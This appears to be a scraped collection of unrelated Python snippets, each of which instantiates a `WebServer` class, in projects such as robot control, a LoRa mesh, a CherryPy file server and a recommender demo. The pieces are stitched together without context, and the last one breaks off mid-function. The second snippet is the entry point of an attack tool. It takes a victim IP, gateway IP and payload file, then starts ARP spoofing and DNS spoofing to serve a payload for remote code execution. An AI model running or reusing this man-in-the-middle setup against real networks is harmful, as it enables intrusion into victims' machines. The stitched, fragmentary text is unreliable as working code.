def main() -> int: server = WebServer( port=8085 ) # Change this number to change the web server port being served. robot = Robot( port=None ) # Change this number to change the serial port number being used to control the robot. detector = ImageDetector( resolution_front=Resolution(1280, 720), resolution_bottom=Resolution(1280, 720), in_video_front= 'f.mp4', # Set the in_video_front and in_video_bottom to 0 and 1 for cameras. in_video_bottom='b.mp4', # video_path_front=f'output_f_{time.time()}.avi', # video_path_bottom=f'output_b_{time.time()}.avi', ) detector_thread = Thread(target=detector_loop(detector, robot)) detector_thread.daemon = False detector_thread.start() actions = Actions(robot=robot, detector=detector) robot.set_handler(actions.on_read) for name, action in actions.list.items(): server.add_rule(name, action) server.run() actions.run() def on_exit(): robot.close() server.close() register_exit_event(on_exit) return 0
def main(): global RCE_DOMAIN if len(sys.argv) < 5: print("[-] Expecting 4 arguments, got %i." % (len(sys.argv) - 1)) print( "%s [Interface Name] [Victim IP] [Gateway IP] [Payload Filename]" % sys.argv[0]) return 0 if os.geteuid() != 0: print("[-] root permissions required.") return 0 interface_name = sys.argv[1] target_ip = sys.argv[2] gateway_ip = sys.argv[3] payload_filename = sys.argv[4] print("[+] Grabbing interface IP address.") interface_ip = get_ip_address(interface_name) if interface_ip == "0.0.0.0": print("[-] Could not find the IPv4 Address of the provided interface.") return 0 print("[+] Starting webserver.") WebServer(payload_filename) print("[+] Starting ARP Spoofing.") ARPSpoofer(target_ip, gateway_ip) print("[+] Starting DNS Spoofing.") DNSSpoofer(RCE_DOMAIN, interface_ip) return 0
def main() -> int: server = WebServer(port=8085) server.add_rule('task1', task1) try: server.run() except KeyboardInterrupt: server.close() return 0
def do_activate(self): WebPlayer.DBAccess.rbshell = self.object WebPlayer.PlayerControl.rbshell = self.object Views.Views.rbplugin = self Views.Views.add_template_path("web/") print "starting server..." self.__server = WebServer("0.0.0.0", 8001, "webplayer.settings") self.__server.start()
def start(self): """Sets up the server to listen on a port and starts all subsystems.""" port = self.getConfig('server_port', int, 8880) ip = self.getConfig('server_ip', str, '') reactor.listenTCP(port, self, interface=ip) self.web = WebServer(self) self.web.start() self.workProvider.start()
def __init__(self): self.timeToSendSelfInfo = 10 self.ap = WifiAP() firmware = FirmwareHasher.calculate() print("Code firmware: " + str(firmware)) self.decoration = NetworkNodeDecoration(self.ap.ID, -1, -1, firmware, {}) self.meshState = MeshNetworkState(self.decoration) self.messageBoard = MessageBoard(self.meshState) self.mesh = LoraMeshAdapter(self.messageBoard, self.meshState) self.view = WebClientView(self.messageBoard, self.meshState) self.www = WebServer(self.view)
def __init__(self, m): QWidget.__init__(self) self.gameVar = GameVar() # Contient tout les variables du jeu self.MW = m self.on_click try: self.initSerial() except serial.SerialException as e: print("Erreur connexion Arduino") self.gameVar.error += str(e) print(e) self.ws = WebServer(self.gameVar, self) self.ws.start()
def start_server(environment): if not os.path.exists('temp'): os.makedirs('temp') if not os.path.exists('log'): os.makedirs('log') setup_logging() global_config_filename = f"global-{environment}.ini" cherrypy.config.update(global_config_filename) cherrypy.config.update({'error_page.500': error_page_500}) webapp = WebServer() webapp.get_options = GetOptionsService() webapp.set_options = SetOptionsService() webapp.get_default_dataset_headers = GetDefaultDatasetHeadersService() cherrypy.quickstart(webapp, '/', "app.ini")
def deskWriteJob(arglist, kwargs): info = arglist[0] #print "in the thread is:" + str(info) webservername = str(info["dev_name"]) if info["dev_name"] not in g_client_list: g_lock.acquire() print "new webserver" print info["dev_name"] g_client_list[info["dev_name"]] = info["dev_name"] g_lock_dict[info["dev_name"]] = thread.allocate_lock() newwebserver = WebServer() newwebserver.SetDevname(info["dev_name"]) g_websever[info["dev_name"]] = newwebserver g_lock.release() temp_lock = g_lock_dict[info["dev_name"]] temp_lock.acquire() temp_webserver = g_websever[info["dev_name"]] temp_webserver.JobDespatcher(info) temp_lock.release()
import sys from WebServer import WebServer from flask import request if __name__ == "__main__": server = WebServer() # server.host = "0.0.0.0" server.port = 5001 server.init() server.run()
def __init__(self, elkIP): self.WindowsEvents = WindowsEvents(elkIP) self.WebLogs = WebServer(elkIP) self.DatabaseLogs = DatabaseLogs(elkIP)
def main(): my_server = WebServer("127.0.0.1", 8008) my_server.serve_web()
# local imports from PassScheduler import PassScheduler from WebServer import WebServer scheduler = PassScheduler() webserver = WebServer(scheduler) scheduler.start() webserver.start() input()
### MAIN ### import signal import sys import time import RPi.GPIO as GPIO from WebServer import WebServer GPIO.setwarnings(False) def shutdownServer(sig, unused): server.shutdown() print('Clean-up') GPIO.cleanup() time.sleep(1) sys.exit(1) signal.signal(signal.SIGINT, shutdownServer) server = WebServer(10000) server.start() print("Press Ctrl+C to shut down server.")
def main(): ws = WebServer() signal(SIGINT, ws.endServer) ws.start()
def Cherry(): Log.info('######################Start Cherrypy!########################') cherrypy.config.update({'environment' : 'production', 'engine.autoreload_on' : False, 'checker.on' : False, 'server.socket_host' : '0.0.0.0', 'server.socket_port' : UtilFunc.getWebServerPort(), 'server.thread_pool' : 6, 'server.thread_pool_max' : 10, 'server.max_request_body_size' : sys.maxint, 'log.screen' : True, }) services = {'/storages':Storages(), '/system':System(), '/version':Version(), '/files':Files(), '/share':Share(), '/search':Search(), '/logs':ESLog(), '/batch':Batch(), '/photos':Photos(), '/music':Music(), '/video':Video(), '/backup':Backup()} if not UtilFunc.isPCMode(): from Apps.AppCtrl import AppCtrl services['/app'] = AppCtrl() for server in services.keys(): mountService(services[server], "/api" + server) Log.info('Mount APIServices Complete!') cherrypy.tree.mount(portal(), '/', config={'/': {'tools.auth.on' : False, 'tools.staticdir.on' : True, 'tools.staticdir.dir' : UtilFunc.module_path(), }, }) Log.info('Mount Portal Service Complete!') cherrypy.tree.mount(GuestShare(), '/share', config={'/': _getMountConfig(False)}) Log.info('Mount GuestShare Service Complete!') try: server2 = _cpwsgi_server.CPWSGIServer() server2.bind_addr = ('0.0.0.0', 1984) adapter2 = _cpserver.ServerAdapter(cherrypy.engine, server2, server2.bind_addr) adapter2.subscribe() cherrypy.tree.graft(WebServer().my_crazy_app, "/web") syncdir = os.path.join(os.getcwd(),"sync") if not os.path.exists(syncdir): os.mkdir(syncdir) config = {"mount_path" :"/syncservice", "provider_mapping":{"webdav":syncdir}, "user_mapping" :{}, "verbose" :2, "dir_browser" :{ "enable" : True, "response_trailer": "", "davmount" : False, "msmount" : False } } cherrypy.tree.graft(WsgiDAVApp(config),"/syncservice") Log.info('Start WsgiDAV Complete!') except Exception, e: Log.info('WsgiDAV Start Failed! Reason[%s]'%e)
# simulate different request coming into the system from WebServer import WebServer, Request, Action configMap = {"numberToServe": 10, "data_dir": "DATA"} server = WebServer(configMap) server.start( ) # load all the data in the database, start the first model training # now experiment reqX1 = Request(userId='X1') req1 = Request(userId=1) print(reqX1) print(req1) recX1 = server.renderRec(reqX1) # output recommendations print(recX1) rec1 = server.renderRec(req1) # output recommendations print(rec1) # now we start an action action1 = Action(1, 255, 5) # user 1 rated item 255 as score 5 print(server.getFromInventory(255)) # find out the name of item 255 server.getAction(action1) # feed the action to the server rec1_afteraction = server.renderRec( req1) # get recommendation after the system knows about the action print(rec1_afteraction) actionX1 = Action('X1', 123, 5) # anonymous user's action won't be saved in database
from uasyncio import get_event_loop from mDnsServer import mDnsServer from WifiManager import WifiManager from WebServer import WebServer from ClockManager import ClockManager from settings import readNetId PUBLIC_NAME = "clock" netId = readNetId() publicName = "{}-{}".format(PUBLIC_NAME, netId) wifiManager = WifiManager(publicName) mdnsServer = mDnsServer(wifiManager, publicName) webServer = WebServer(wifiManager) clockManager = ClockManager(wifiManager, webServer) loop = get_event_loop() loop.run_forever() loop.close()
async def main(): logging.info('{0}() : Python {1}'.format(sys._getframe().f_code.co_name, sys.version_info)) tasks = [] loop = asyncio.get_event_loop() executor = ThreadPoolExecutor(max_workers=4, thread_name_prefix='videoThread') signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT) for s in signals: loop.add_signal_handler( s, lambda s=s: loop.create_task(shutdown(loop, executor, signal=s))) try: # # Default to USB Webcam # # with VideoProcessor(videoPath = '/home/wcbiot/OpenVINO-Toolkit-Setup/App/ObjectDetection/Python/youtube.mp4') as videoProcessor: with VideoProcessor(videoPath = '/dev/video0') as videoProcessor: # async with VideoProcessor(devicePath = '/dev/video0') as videoProcessor: # # Initialize Tornado Web Server # webServer = WebServer(videoProcessor = videoProcessor, port = 8080) if (sys.version_info >= (3, 7)): loop = asyncio.get_running_loop() loop.set_debug(False) else: loop = asyncio.get_event_loop() loop.set_debug(False) # # Start Capturing from Video # videoStreamTask = loop.create_task(videoProcessor.videoData.capture_video_frame_async(executor)) tasks.append(videoStreamTask) # # Start Processing video frames # videoProcessTask = loop.create_task(videoProcessor.process_video_frame_async(executor)) tasks.append(videoProcessTask) # # Start Tornado Web Server # webServer.start_web_server() # # keyboard input # inputTask = loop.run_in_executor(executor, stdin_listener) # tasks.append(inputTask) await inputTask for task in tasks: # print("Task {}", task) task.cancel() done, futures = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED) # webServer.stop_web_server() except CancelledError: logging.info('-- {0}() - Cancelled'.format(sys._getframe().f_code.co_name)) except Exception as ex: exc_type, exc_obj, exc_tb = sys.exc_info() traceback.print_exception(exc_type, exc_obj, exc_tb) logging.error('!! {0}() : Exception {1}'.format(sys._getframe().f_code.co_name, ex)) finally: logging.info('-- {0}() - Finally'.format(sys._getframe().f_code.co_name)) for task in asyncio.Task.all_tasks(): logging.info("Task {}".format(task)) # done, futures = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION) # print("done {}", done) # print("futures {}", futures) # await asyncio.gather(*tasks, return_exceptions=True) await loop.shutdown_asyncgens()
from Server import Server from WebServer import WebServer import threading import time import schedule server = Server("", 2332) web_server = WebServer() def server_threading(): """用于启动服务器进程的函数""" server.start() def web_server_threading(): """用于启动网站服务器进程的函数""" web_server.run("", 5000) def update(): """更新网页信息""" # 更新流量信息 tumple_dict = server.get_tumple_dict() web_server.calculate_five_tumple(tumple_dict) def main(): """主函数"""